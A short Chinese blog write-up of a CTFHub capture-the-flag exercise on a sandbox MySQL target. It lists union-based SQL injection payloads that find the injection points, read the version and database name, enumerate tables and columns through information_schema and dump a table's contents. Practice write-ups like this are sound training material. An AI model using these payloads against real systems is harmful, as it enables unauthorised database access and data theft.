CTFHub-MySQL结构

题目描述:

 

 

 

http://challenge-f85356a423d064a3.sandbox.ctfhub.com:10800

解题思路:

题目关键字:

  • MySQL结构

解题思路:

查找注入点:

输入一个1,发现有两个注入点

 

 

 

验证注入点:

?id=1 and 1=2 union select 1,2

 

 

查询数据库:

?id=1 and 1=2 union select version(),database()

 

 

查看数据库中的表:

?id=-1  union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'  

 

 

 

?id=-1  union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli'

 

 

查看表字段中的值:

?id=-1 union select 1,  cmlrlveypq from wpfdbztybp
 
posted @   孤耀  阅读(187)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示